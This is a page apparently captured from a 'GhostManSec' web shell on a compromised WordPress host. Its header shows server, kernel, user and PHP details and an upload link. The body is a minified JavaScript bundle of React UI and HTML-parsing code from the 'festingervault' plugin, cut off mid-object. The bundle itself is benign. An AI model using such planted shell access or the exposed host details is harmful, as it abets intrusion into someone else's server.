GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/BqjkRCLr.431dca.js
import{c as Y,j as r,m as mt,_ as d,S as pt,b as ht,B as A,N as gt,O as vt,I as ze,f as L,z as He,r as O,e as Ve,a as xt,g as yt,J as ye,Q as v,U as bt,V as Et}from"./0rvbeSEg.431dca.js";import{o as be,C as j,a as N,c as w,p as _t,d as Be,A as jt}from"./DUjAZQ04.431dca.js";import{i as wt}from"./oncAzkIk.431dca.js";import{u as T,L as ie,a as Nt}from"./0jFFFmbF.431dca.js";import{G as Ge,_ as Ee,a as _e}from"./DVFgSt7X.431dca.js";import{I as ae,u as Tt,D as Ct}from"./Bg9ZA4vN.431dca.js";import{P as Ye}from"./VSYHeJvG.431dca.js";import{S as se}from"./Dxvdo4jq.431dca.js";import{u as St,D as kt,a as Dt,L as Ot,b as At,c as Pt,d as Mt,e as It,f as Rt,g as je}from"./Bd_FSJ-T.431dca.js";/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Lt=Y("Calendar",[["path",{d:"M8 2v4",key:"1cmpym"}],["path",{d:"M16 2v4",key:"4m81vk"}],["rect",{width:"18",height:"18",x:"3",y:"4",rx:"2",key:"1hopcy"}],["path",{d:"M3 10h18",key:"8toen8"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const we=Y("CircleCheck",[["circle",{cx:"12",cy:"12",r:"10",key:"1mglay"}],["path",{d:"m9 12 2 2 4-4",key:"dzmm74"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const Ft=Y("EllipsisVertical",[["circle",{cx:"12",cy:"12",r:"1",key:"41hilf"}],["circle",{cx:"12",cy:"5",r:"1",key:"gxeob9"}],["circle",{cx:"12",cy:"19",r:"1",key:"lyex9k"}]]);/**
 * @license lucide-react v0.396.0 - ISC
 *
 * This source code is licensed under the ISC license.
 * See the LICENSE file in the root directory of this source tree.
 */const zt=Y("ShieldEllipsis",[["path",{d:"M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z",key:"oel41y"}],["path",{d:"M8 12h.01",key:"czm47f"}],["path",{d:"M12 12h.01",key:"1mp3jc"}],["path",{d:"M16 12h.01",key:"1l6xoz"}]]);function Ht(){return r.jsxs("div",{className:"relative flex flex-col items-center gap-3 p-6 py-12",children:[r.jsx(Ge,{size:50}),r.jsx("div",{children:r.jsx(be,{className:"aspect-video h-52 rounded-md"})}),r.jsx(be,{className:"h-5 w-52"})]})}function Vt({item:e}){var t,n;return(t=e.terms)==null||t.filter(i=>i.taxonomy==="category").map(i=>wp.htmlEntities.decodeEntities(i.name)),r.jsxs("div",{className:"relative flex flex-col items-center gap-3 p-6 py-12",children:[r.jsx(Ge,{size:50}),r.jsx("div",{children:r.jsx("img",{src:e.image,className:"aspect-video h-52 rounded-md"})}),r.jsx("h1",{className:"text-xl",children:wp.htmlEntities.decodeEntities(e.title)}),r.jsxs("div",{className:"flex flex-row gap-5 text-sm text-muted-foreground",children:[r.jsx("div",{className:"",children:wp.i18n.sprintf(mt("In %s","In Category Name"),(n=e.terms)==null?void 0:n.filter(i=>i.taxonomy==="category").map(i=>wp.htmlEntities.decodeEntities(i.name)).join(", "))}),r.jsx("div",{className:"flex flex-row items-center gap-1 text-green-600",children:moment.unix(e.updated).isBefore(moment().add(1,"week"))?r.jsxs(r.Fragment,{children:[r.jsx(we,{size:18})," ",r.jsx("span",{children:d("Recently Updated")})]}):r.jsxs(r.Fragment,{children:[r.jsx(Lt,{size:18}),r.jsx("span",{children:moment.unix(e.updated).fromNow()})]})}),e.additional_content_count&&e.additional_content_count>0&&r.jsxs("div",{className:"flex flex-row items-center gap-1 text-green-600",children:[r.jsx(we,{size:18}),r.jsx("span",{children:d("Demo Included")})]})]})]})}function Bt({item:e,tabs:t}){var f;const n=T("/item/:type/detail/:id/:tab?"),i=((f=t.find(l=>l.id===n.tab))==null?void 0:f.id)??"description",a=t.find(l=>l.id===i),s=(a==null?void 0:a.el)??(()=>r.jsx("div",{children:d("Invalid Tab?")}));return r.jsx(s,{})}function Gt({item:e,tabs:t}){var a;const n=T("/item/:type/detail/:id/:tab?"),i=((a=t.find(s=>s.id===n.tab))==null?void 0:a.id)??"description";return r.jsxs("div",{className:"flex flex-row items-center justify-between border-b-2 border-b-card",children:[r.jsx("div",{className:"flex flex-row",children:t.map(({id:s,label:f,external:l})=>r.jsx(pt,{className:ht("rounded-none border-b-2 border-transparent px-6 py-4 text-sm transition-colors hover:border-b-blue-600",s===i&&"border-b-blue-800"),children:l?r.jsx("a",{href:l,target:"_blank",children:d("Support")}):r.jsx(ie,{to:"/item/:type/detail/:id/:tab?",params:{...n,tab:s},children:f})},s))}),r.jsxs("div",{className:"flex flex-row gap-4",children:[r.jsx(ae,{item:e}),e.preview&&r.jsx(A,{asChild:!0,className:"flex gap-2",variant:"outline",size:"default",children:r.jsxs("a",{href:e.preview,target:"_blank",referrerPolicy:"no-referrer",children:[r.jsx("span",{children:d("Live Preview")}),r.jsx(gt,{size:16})]})}),r.jsx(A,{size:"icon",variant:"outline",children:r.jsx(vt,{size:16})}),r.jsx(A,{size:"icon",variant:"outline",children:r.jsx(Ft,{size:16})})]})]})}const Yt=He.number().gte(1);function Ut({item:e,data:t}){const{isInstalled:n}=Tt(e),i=O.useMemo(()=>[{id:"version",label:d("Version"),className:"w-full",render({row:a}){return r.jsxs("div",{className:"flex flex-row items-center gap-2",children:[r.jsx("span",{className:"text-xl",children:a.version}),n&&n.installed_version===a.version&&r.jsx(Ve,{variant:"info",size:"sm",children:d("Installed")})]})}},{id:"date",label:d("Date"),className:"whitespace-nowrap text-muted-foreground",render({row:a}){return moment.unix(a.updated).format("D MMM, YYYY")}},{id:"action",label:"",className:"",render({row:a}){return r.jsx(ae,{item:e,media:a,size:"icon",variant:"outline"})}}],[t,e,n]);return r.jsx(se,{columns:i,data:t})}function $t({item:e}){var c;const t=T("/item/:type/detail/:id/:tab?"),[n,i]=ze(),a=Yt.parse(Number((n==null?void 0:n.get("page"))??1)),{data:s,isError:f,isLoading:l,isFetching:o}=L("item/changelog",{item_id:t.id,page:a});return r.jsx("div",{className:"flex flex-col gap-5 sm:gap-7",children:r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:d("Changelog")}),r.jsx(w,{className:"p-5 text-sm sm:p-7",children:s!=null&&s.data?r.jsxs("div",{className:"flex flex-col gap-4",children:[r.jsx(Ut,{item:e,data:s==null?void 0:s.data}),(s==null?void 0:s.meta)&&r.jsx(Ye,{currentPage:a,totalPages:Number((c=s==null?void 0:s.meta)==null?void 0:c.last_page),urlGenerator:u=>`/item/${t.type}/detail/${t.id}/${t.tab}?page=${u}`})]}):l||o?r.jsx("div",{className:"",children:d("Loading...")}):r.jsx("div",{className:"",children:d("No Items Found")})})]})})}function Xt({item:e,media:t,size:n,variant:i}){const a=Nt(),{data:s}=St(),{isPending:f,mutateAsync:l}=xt("item/download-additional"),{clearCache:o}=yt();function c(){if(typeof(s==null?void 0:s.plan_type)>"u"){ye.error(d("License not activated")),a("/activation");return}ye.promise(l({item_id:e.id,media_id:t.id}),{description:wp.htmlEntities.decodeEntities(t.title),loading:d("Downloading"),success(u){return u.link&&window.open(u.link,"_blank"),d("Successful")},error(u){return u.message},finally(){o()}})}return r.jsxs(kt,{children:[r.jsx(Dt,{asChild:!0,children:r.jsxs(A,{variant:i,size:n,className:"flex items-center gap-2",disabled:f,children:[f?r.jsx(Ot,{className:"h-4 w-4 animate-spin"}):r.jsx(_t,{width:16}),n!="icon"&&r.jsx("span",{children:"Download"})]})}),r.jsx(At,{children:r.jsxs("div",{className:"mx-auto w-full max-w-sm",children:[r.jsxs(Pt,{className:"text-center",children:[r.jsx(Mt,{className:"text-center leading-normal",children:wp.htmlEntities.decodeEntities(t.title)}),r.jsx(It,{className:"flex flex-col gap-2 text-center",asChild:!0,children:r.jsxs("div",{children:[r.jsx("div",{children:wp.i18n.sprintf(d("Download demo content %s of %s"),t.title,e.title)}),r.jsx("div",{children:wp.i18n.sprintf(d("%d download credit would be consumed from your account."),1)}),r.jsxs("div",{className:"flex flex-row justify-center divide-x",children:[r.jsx("div",{className:"px-4",children:wp.i18n.sprintf(d("Daily Limit: %d"),s==null?void 0:s.today_limit)}),r.jsx("div",{className:"px-4",children:wp.i18n.sprintf(d("Used Limit: %d"),s==null?void 0:s.today_limit_used)}),(s==null?void 0:s.plan_title)==="recurring"&&r.jsx("div",{className:"p-4",children:wp.i18n.sprintf(d("Total Limit: %d"),s==null?void 0:s.total_limit)})]})]})})]}),r.jsx(Rt,{children:r.jsxs("div",{className:"flex flex-row justify-center gap-4",children:[r.jsx(je,{asChild:!0,children:r.jsxs(A,{onClick:()=>c(),className:"gap-2",children:[r.jsx(Ct,{size:16}),r.jsx("span",{children:d("Download")})]})}),r.jsx(je,{asChild:!0,children:r.jsx(A,{variant:"outline",children:d("Cancel")})})]})})]})})]})}function Wt(e){var t;return(t=e==null?void 0:e.replace(/(?:^|-)([a-z])/g,function(n,i){return` ${i.toUpperCase()}`}))==null?void 0:t.trim()}const qt=He.number().gte(1).default(1);function Ue({item:e,data:t}){const n=O.useMemo(()=>[{id:"name",label:d("Name"),className:"w-full",render({row:i}){return wp.htmlEntities.decodeEntities(i.title)}},{id:"type",label:d("Type"),className:"whitespace-nowrap whitespace-nowrap",render({row:i}){return Wt(i==null?void 0:i.type)}},{id:"date",label:d("Date"),className:"whitespace-nowrap text-muted-foreground",render({row:i}){return moment.unix(i.updated).format("D MMM, YYYY")}},{id:"action",label:"",className:"",render({row:i}){return r.jsx(Xt,{item:e,media:i,size:"icon",variant:"outline"})}}],[e]);return r.jsx(se,{columns:n,data:t})}function Zt({item:e}){var o;const t=T("/item/:type/detail/:id/:tab?"),[n,i]=ze(),a=qt.parse(Number((n==null?void 0:n.get("page"))??1)),{data:s,isLoading:f,isFetching:l}=L("item/demo-content",{item_id:t.id,page:a});return r.jsx("div",{className:"flex flex-col gap-5 sm:gap-7",children:r.jsxs(j,{children:[r.jsx(N,{className:"border-b p-5 sm:p-7",children:d("Demo Contents")}),r.jsx(w,{className:"p-5 text-sm sm:p-7",children:s!=null&&s.data?r.jsxs("div",{className:"flex flex-col gap-4",children:[r.jsx(Ue,{item:e,data:s==null?void 0:s.data}),(s==null?void 0:s.meta)&&r.jsx(Ye,{currentPage:a,totalPages:Number((o=s==null?void 0:s.meta)==null?void 0:o.last_page),urlGenerator:c=>`/item/${t.type}/detail/${t.id}/${t.tab}?page=${c}`})]}):f||l?r.jsx("div",{className:"",children:d("Loading...")}):r.jsx("div",{className:"",children:d("No Items Found")})})]})})}var $e={},oe={},le={};Object.defineProperty(le,"__esModule",{value:!0});le.default=en;var Ne="html",Te="head",z="body",Jt=/<([a-zA-Z]+[0-9]?)/,Ce=/<head[^]*>/i,Se=/<body[^]*>/i,G=function(e,t){throw new Error("This browser does not support `document.implementation.createHTMLDocument`")},te=function(e,t){throw new Error("This browser does not support `DOMParser.prototype.parseFromString`")},ke=typeof window=="object"&&window.DOMParser;if(typeof ke=="function"){var Kt=new ke,Qt="text/html";te=function(e,t){return t&&(e="<".concat(t,">").concat(e,"</").concat(t,">")),Kt.parseFromString(e,Qt)},G=te}if(typeof document=="object"&&document.implementation){var H=document.implementation.createHTMLDocument();G=function(e,t){if(t){var n=H.documentElement.querySelector(t);return n&&(n.innerHTML=e),H}return H.documentElement.innerHTML=e,H}}var V=typeof document=="object"&&document.createElement("template"),ne;V&&V.content&&(ne=function(e){return V.innerHTML=e,V.content.childNodes});function en(e){var t,n,i=e.match(Jt),a=i&&i[1]?i[1].toLowerCase():"";switch(a){case Ne:{var s=te(e);if(!Ce.test(e)){var f=s.querySelector(Te);(t=f==null?void 0:f.parentNode)===null||t===void 0||t.removeChild(f)}if(!Se.test(e)){var f=s.querySelector(z);(n=f==null?void 0:f.parentNode)===null||n===void 0||n.removeChild(f)}return s.querySelectorAll(Ne)}case Te:case z:{var l=G(e).querySelectorAll(a);return Se.test(e)&&Ce.test(e)?l[0].parentNode.childNodes:l}default:{if(ne)return ne(e);var f=G(e,z).querySelector(z);return f.childNodes}}}var U={},ce={},de={};(function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.Doctype=e.CDATA=e.Tag=e.Style=e.Script=e.Comment=e.Directive=e.Text=e.Root=e.isTag=e.ElementType=void 0;var t;(function(i){i.Root="root",i.Text="text",i.Directive="directive",i.Comment="comment",i.Script="script",i.Style="style",i.Tag="tag",i.CDATA="cdata",i.Doctype="doctype"})(t=e.ElementType||(e.ElementType={}));function n(i){return i.type===t.Tag||i.type===t.Script||i.type===t.Style}e.isTag=n,e.Root=t.Root,e.Text=t.Text,e.Directive=t.Directive,e.Comment=t.Comment,e.Script=t.Script,e.Style=t.Style,e.Tag=t.Tag,e.CDATA=t.CDATA,e.Doctype=t.Doctype})(de);var h={},S=v&&v.__extends||function(){var e=function(t,n){return e=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(i,a){i.__proto__=a}||function(i,a){for(var s in a)Object.prototype.hasOwnProperty.call(a,s)&&(i[s]=a[s])},e(t,n)};return function(t,n){if(typeof n!="function"&&n!==null)throw new TypeError("Class extends value "+String(n)+" is not a constructor or null");e(t,n);function i(){this.constructor=t}t.prototype=n===null?Object.create(n):(i.prototype=n.prototype,new i)}}(),I=v&&v.__assign||function(){return I=Object.assign||function(e){for(var t,n=1,i=arguments.length;n<i;n++){t=arguments[n];for(var a in t)Object.prototype.hasOwnProperty.call(t,a)&&(e[a]=t[a])}return e},I.apply(this,arguments)};Object.defineProperty(h,"__esModule",{value:!0});h.cloneNode=h.hasChildren=h.isDocument=h.isDirective=h.isComment=h.isText=h.isCDATA=h.isTag=h.Element=h.Document=h.CDATA=h.NodeWithChildren=h.ProcessingInstruction=h.Comment=h.Text=h.DataNode=h.Node=void 0;var E=de,ue=function(){function e(){this.parent=null,this.prev=null,this.next=null,this.startIndex=null,this.endIndex=null}return Object.defineProperty(e.prototype,"parentNode",{get:function(){return this.parent},set:function(t){this.parent=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"previousSibling",{get:function(){return this.prev},set:function(t){this.prev=t},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"nextSibling",{get:function(){return this.next},set:function(t){this.next=t},enumerable:!1,configurable:!0}),e.prototype.cloneNode=function(t){return t===void 0&&(t=!1),fe(this,t)},e}();h.Node=ue;var $=function(e){S(t,e);function t(n){var i=e.call(this)||this;return i.data=n,i}return Object.defineProperty(t.prototype,"nodeValue",{get:function(){return this.data},set:function(n){this.data=n},enumerable:!1,configurable:!0}),t}(ue);h.DataNode=$;var Xe=function(e){S(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=E.ElementType.Text,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 3},enumerable:!1,configurable:!0}),t}($);h.Text=Xe;var We=function(e){S(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=E.ElementType.Comment,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 8},enumerable:!1,configurable:!0}),t}($);h.Comment=We;var qe=function(e){S(t,e);function t(n,i){var a=e.call(this,i)||this;return a.name=n,a.type=E.ElementType.Directive,a}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),t}($);h.ProcessingInstruction=qe;var X=function(e){S(t,e);function t(n){var i=e.call(this)||this;return i.children=n,i}return Object.defineProperty(t.prototype,"firstChild",{get:function(){var n;return(n=this.children[0])!==null&&n!==void 0?n:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"lastChild",{get:function(){return this.children.length>0?this.children[this.children.length-1]:null},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"childNodes",{get:function(){return this.children},set:function(n){this.children=n},enumerable:!1,configurable:!0}),t}(ue);h.NodeWithChildren=X;var Ze=function(e){S(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=E.ElementType.CDATA,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 4},enumerable:!1,configurable:!0}),t}(X);h.CDATA=Ze;var Je=function(e){S(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=E.ElementType.Root,n}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 9},enumerable:!1,configurable:!0}),t}(X);h.Document=Je;var Ke=function(e){S(t,e);function t(n,i,a,s){a===void 0&&(a=[]),s===void 0&&(s=n==="script"?E.ElementType.Script:n==="style"?E.ElementType.Style:E.ElementType.Tag);var f=e.call(this,a)||this;return f.name=n,f.attribs=i,f.type=s,f}return Object.defineProperty(t.prototype,"nodeType",{get:function(){return 1},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"tagName",{get:function(){return this.name},set:function(n){this.name=n},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"attributes",{get:function(){var n=this;return Object.keys(this.attribs).map(function(i){var a,s;return{name:i,value:n.attribs[i],namespace:(a=n["x-attribsNamespace"])===null||a===void 0?void 0:a[i],prefix:(s=n["x-attribsPrefix"])===null||s===void 0?void 0:s[i]}})},enumerable:!1,configurable:!0}),t}(X);h.Element=Ke;function Qe(e){return(0,E.isTag)(e)}h.isTag=Qe;function et(e){return e.type===E.ElementType.CDATA}h.isCDATA=et;function tt(e){return e.type===E.ElementType.Text}h.isText=tt;function nt(e){return e.type===E.ElementType.Comment}h.isComment=nt;function rt(e){return e.type===E.ElementType.Directive}h.isDirective=rt;function it(e){return e.type===E.ElementType.Root}h.isDocument=it;function tn(e){return Object.prototype.hasOwnProperty.call(e,"children")}h.hasChildren=tn;function fe(e,t){t===void 0&&(t=!1);var n;if(tt(e))n=new Xe(e.data);else if(nt(e))n=new We(e.data);else if(Qe(e)){var i=t?Q(e.children):[],a=new Ke(e.name,I({},e.attribs),i);i.forEach(function(o){return o.parent=a}),e.namespace!=null&&(a.namespace=e.namespace),e["x-attribsNamespace"]&&(a["x-attribsNamespace"]=I({},e["x-attribsNamespace"])),e["x-attribsPrefix"]&&(a["x-attribsPrefix"]=I({},e["x-attribsPrefix"])),n=a}else if(et(e)){var i=t?Q(e.children):[],s=new Ze(i);i.forEach(function(c){return c.parent=s}),n=s}else if(it(e)){var i=t?Q(e.children):[],f=new Je(i);i.forEach(function(c){return c.parent=f}),e["x-mode"]&&(f["x-mode"]=e["x-mode"]),n=f}else if(rt(e)){var l=new qe(e.name,e.data);e["x-name"]!=null&&(l["x-name"]=e["x-name"],l["x-publicId"]=e["x-publicId"],l["x-systemId"]=e["x-systemId"]),n=l}else throw new Error("Not implemented yet: ".concat(e.type));return n.startIndex=e.startIndex,n.endIndex=e.endIndex,e.sourceCodeLocation!=null&&(n.sourceCodeLocation=e.sourceCodeLocation),n}h.cloneNode=fe;function Q(e){for(var t=e.map(function(i){return fe(i,!0)}),n=1;n<t.length;n++)t[n].prev=t[n-1],t[n-1].next=t[n];return t}(function(e){var t=v&&v.__createBinding||(Object.create?function(l,o,c,u){u===void 0&&(u=c);var p=Object.getOwnPropertyDescriptor(o,c);(!p||("get"in p?!o.__esModule:p.writable||p.configurable))&&(p={enumerable:!0,get:function(){return o[c]}}),Object.defineProperty(l,u,p)}:function(l,o,c,u){u===void 0&&(u=c),l[u]=o[c]}),n=v&&v.__exportStar||function(l,o){for(var c in l)c!=="default"&&!Object.prototype.hasOwnProperty.call(o,c)&&t(o,l,c)};Object.defineProperty(e,"__esModule",{value:!0}),e.DomHandler=void 0;var i=de,a=h;n(h,e);var s={withStartIndices:!1,withEndIndices:!1,xmlMode:!1},f=function(){function l(o,c,u){this.dom=[],this.root=new a.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null,typeof c=="function"&&(u=c,c=s),typeof o=="object"&&(c=o,o=void 0),this.callback=o??null,this.options=c??s,this.elementCB=u??null}return l.prototype.onparserinit=function(o){this.parser=o},l.prototype.onreset=function(){this.dom=[],this.root=new a.Document(this.dom),this.done=!1,this.tagStack=[this.root],this.lastNode=null,this.parser=null},l.prototype.onend=function(){this.done||(this.done=!0,this.parser=null,this.handleCallback(null))},l.prototype.onerror=function(o){this.handleCallback(o)},l.prototype.onclosetag=function(){this.lastNode=null;var o=this.tagStack.pop();this.options.withEndIndices&&(o.endIndex=this.parser.endIndex),this.elementCB&&this.elementCB(o)},l.prototype.onopentag=function(o,c){var u=this.options.xmlMode?i.ElementType.Tag:void 0,p=new a.Element(o,c,void 0,u);this.addNode(p),this.tagStack.push(p)},l.prototype.ontext=function(o){var c=this.lastNode;if(c&&c.type===i.ElementType.Text)c.data+=o,this.options.withEndIndices&&(c.endIndex=this.parser.endIndex);else{var u=new a.Text(o);this.addNode(u),this.lastNode=u}},l.prototype.oncomment=function(o){if(this.lastNode&&this.lastNode.type===i.ElementType.Comment){this.lastNode.data+=o;return}var c=new a.Comment(o);this.addNode(c),this.lastNode=c},l.prototype.oncommentend=function(){this.lastNode=null},l.prototype.oncdatastart=function(){var o=new a.Text(""),c=new a.CDATA([o]);this.addNode(c),o.parent=c,this.lastNode=o},l.prototype.oncdataend=function(){this.lastNode=null},l.prototype.onprocessinginstruction=function(o,c){var u=new a.ProcessingInstruction(o,c);this.addNode(u)},l.prototype.handleCallback=function(o){if(typeof this.callback=="function")this.callback(o,this.dom);else if(o)throw o},l.prototype.addNode=function(o){var c=this.tagStack[this.tagStack.length-1],u=c.children[c.children.length-1];this.options.withStartIndices&&(o.startIndex=this.parser.startIndex),this.options.withEndIndices&&(o.endIndex=this.parser.endIndex),c.children.push(o),u&&(o.prev=u,u.next=o),o.parent=c,this.lastNode=null},l}();e.DomHandler=f,e.default=f})(ce);var at={};(function(e){Object.defineProperty(e,"__esModule",{value:!0}),e.CASE_SENSITIVE_TAG_NAMES_MAP=e.CASE_SENSITIVE_TAG_NAMES=void 0,e.CASE_SENSITIVE_TAG_NAMES=["animateMotion","animateTransform","clipPath","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","foreignObject","linearGradient","radialGradient","textPath"],e.CASE_SENSITIVE_TAG_NAMES_MAP=e.CASE_SENSITIVE_TAG_NAMES.reduce(function(t,n){return t[n.toLowerCase()]=n,t},{})})(at);Object.defineProperty(U,"__esModule",{value:!0});U.formatAttributes=st;U.formatDOM=ot;var B=ce,nn=at;function rn(e){return nn.CASE_SENSITIVE_TAG_NAMES_MAP[e]}function st(e){for(var t={},n=0,i=e.length;n<i;n++){var a=e[n];t[a.name]=a.value}return t}function an(e){e=e.toLowerCase();var t=rn(e);return t||e}function ot(e,t,n){t===void 0&&(t=null);for(var i=[],a,s=0,f=e.length;s<f;s++){var l=e[s];switch(l.nodeType){case 1:{var o=an(l.nodeName);a=new B.Element(o,st(l.attributes)),a.children=ot(o==="template"?l.content.childNodes:l.childNodes,a);break}case 3:a=new B.Text(l.nodeValue);break;case 8:a=new B.Comment(l.nodeValue);break;default:continue}var c=i[s-1]||null;c&&(c.next=a),a.parent=t,a.prev=c,a.next=null,i.push(a)}return n&&(a=new B.ProcessingInstruction(n.substring(0,n.indexOf(" ")).toLowerCase(),n),a.next=i[0]||null,a.parent=t,i.unshift(a),i[1]&&(i[1].prev=i[0])),i}var sn=v&&v.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(oe,"__esModule",{value:!0});oe.default=dn;var on=sn(le),ln=U,cn=/<(![a-zA-Z\s]+)>/;function dn(e){if(typeof e!="string")throw new TypeError("First argument must be a string");if(!e)return[];var t=e.match(cn),n=t?t[1]:void 0;return(0,ln.formatDOM)((0,on.default)(e),null,n)}var W={},_={},q={},un=0;q.SAME=un;var fn=1;q.CAMELCASE=fn;q.possibleStandardNames={accept:0,acceptCharset:1,"accept-charset":"acceptCharset",accessKey:1,action:0,allowFullScreen:1,alt:0,as:0,async:0,autoCapitalize:1,autoComplete:1,autoCorrect:1,autoFocus:1,autoPlay:1,autoSave:1,capture:0,cellPadding:1,cellSpacing:1,challenge:0,charSet:1,checked:0,children:0,cite:0,class:"className",classID:1,className:1,cols:0,colSpan:1,content:0,contentEditable:1,contextMenu:1,controls:0,controlsList:1,coords:0,crossOrigin:1,dangerouslySetInnerHTML:1,data:0,dateTime:1,default:0,defaultChecked:1,defaultValue:1,defer:0,dir:0,disabled:0,disablePictureInPicture:1,disableRemotePlayback:1,download:0,draggable:0,encType:1,enterKeyHint:1,for:"htmlFor",form:0,formMethod:1,formAction:1,formEncType:1,formNoValidate:1,formTarget:1,frameBorder:1,headers:0,height:0,hidden:0,high:0,href:0,hrefLang:1,htmlFor:1,httpEquiv:1,"http-equiv":"httpEquiv",icon:0,id:0,innerHTML:1,inputMode:1,integrity:0,is:0,itemID:1,itemProp:1,itemRef:1,itemScope:1,itemType:1,keyParams:1,keyType:1,kind:0,label:0,lang:0,list:0,loop:0,low:0,manifest:0,marginWidth:1,marginHeight:1,max:0,maxLength:1,media:0,mediaGroup:1,method:0,min:0,minLength:1,multiple:0,muted:0,name:0,noModule:1,nonce:0,noValidate:1,open:0,optimum:0,pattern:0,placeholder:0,playsInline:1,poster:0,preload:0,profile:0,radioGroup:1,readOnly:1,referrerPolicy:1,rel:0,required:0,reversed:0,role:0,rows:0,rowSpan:1,sandbox:0,scope:0,scoped:0,scrolling:0,seamless:0,selected:0,shape:0,size:0,sizes:0,span:0,spellCheck:1,src:0,srcDoc:1,srcLang:1,srcSet:1,start:0,step:0,style:0,summary:0,tabIndex:1,target:0,title:0,type:0,useMap:1,value:0,width:0,wmode:0,wrap:0,about:0,accentHeight:1,"accent-height":"accentHeight",accumulate:0,additive:0,alignmentBaseline:1,"alignment-baseline":"alignmentBaseline",allowReorder:1,alphabetic:0,amplitude:0,arabicForm:1,"arabic-form":"arabicForm",ascent:0,attributeName:1,attributeType:1,autoReverse:1,azimuth:0,baseFrequency:1,baselineShift:1,"baseline-shift":"baselineShift",baseProfile:1,bbox:0,begin:0,bias:0,by:0,calcMode:1,capHeight:1,"cap-height":"capHeight",clip:0,clipPath:1,"clip-path":"clipPath",clipPathUnits:1,clipRule:1,"clip-rule":"clipRule",color:0,colorInterpolation:1,"color-interpolation":"colorInterpolation",colorInterpolationFilters:1,"color-interpolation-filters":"colorInterpolationFilters",colorProfile:1,"color-profile":"colorProfile",colorRendering:1,"color-rendering":"colorRendering",contentScriptType:1,contentStyleType:1,cursor:0,cx:0,cy:0,d:0,datatype:0,decelerate:0,descent:0,diffuseConstant:1,direction:0,display:0,divisor:0,dominantBaseline:1,"dominant-baseline":"dominantBaseline",dur:0,dx:0,dy:0,edgeMode:1,elevation:0,enableBackground:1,"enable-background":"enableBackground",end:0,exponent:0,externalResourcesRequired:1,fill:0,fillOpacity:1,"fill-opacity":"fillOpacity",fillRule:1,"fill-rule":"fillRule",filter:0,filterRes:1,filterUnits:1,floodOpacity:1,"flood-opacity":"floodOpacity",floodColor:1,"flood-color":"floodColor",focusable:0,fontFamily:1,"font-family":"fontFamily",fontSize:1,"font-size":"fontSize",fontSizeAdjust:1,"font-size-adjust":"fontSizeAdjust",fontStretch:1,"font-stretch":"fontStretch",fontStyle:1,"font-style":"fontStyle",fontVariant:1,"font-variant":"fontVariant",fontWeight:1,"font-weight":"fontWeight",format:0,from:0,fx:0,fy:0,g1:0,g2:0,glyphName:1,"glyph-name":"glyphName",glyphOrientationHorizontal:1,"glyph-orientation-horizontal":"glyphOrientationHorizontal",glyphOrientationVertical:1,"glyph-orientation-vertical":"glyphOrientationVertical",glyphRef:1,gradientTransform:1,gradientUnits:1,hanging:0,horizAdvX:1,"horiz-adv-x":"horizAdvX",horizOriginX:1,"horiz-origin-x":"horizOriginX",ideographic:0,imageRendering:1,"image-rendering":"imageRendering",in2:0,in:0,inlist:0,intercept:0,k1:0,k2:0,k3:0,k4:0,k:0,kernelMatrix:1,kernelUnitLength:1,kerning:0,keyPoints:1,keySplines:1,keyTimes:1,lengthAdjust:1,letterSpacing:1,"letter-spacing":"letterSpacing",lightingColor:1,"lighting-color":"lightingColor",limitingConeAngle:1,local:0,markerEnd:1,"marker-end":"markerEnd",markerHeight:1,markerMid:1,"marker-mid":"markerMid",markerStart:1,"marker-start":"markerStart",markerUnits:1,markerWidth:1,mask:0,maskContentUnits:1,maskUnits:1,mathematical:0,mode:0,numOctaves:1,offset:0,opacity:0,operator:0,order:0,orient:0,orientation:0,origin:0,overflow:0,overlinePosition:1,"overline-position":"overlinePosition",overlineThickness:1,"overline-thickness":"overlineThickness",paintOrder:1,"paint-order":"paintOrder",panose1:0,"panose-1":"panose1",pathLength:1,patternContentUnits:1,patternTransform:1,patternUnits:1,pointerEvents:1,"pointer-events":"pointerEvents",points:0,pointsAtX:1,pointsAtY:1,pointsAtZ:1,prefix:0,preserveAlpha:1,preserveAspectRatio:1,primitiveUnits:1,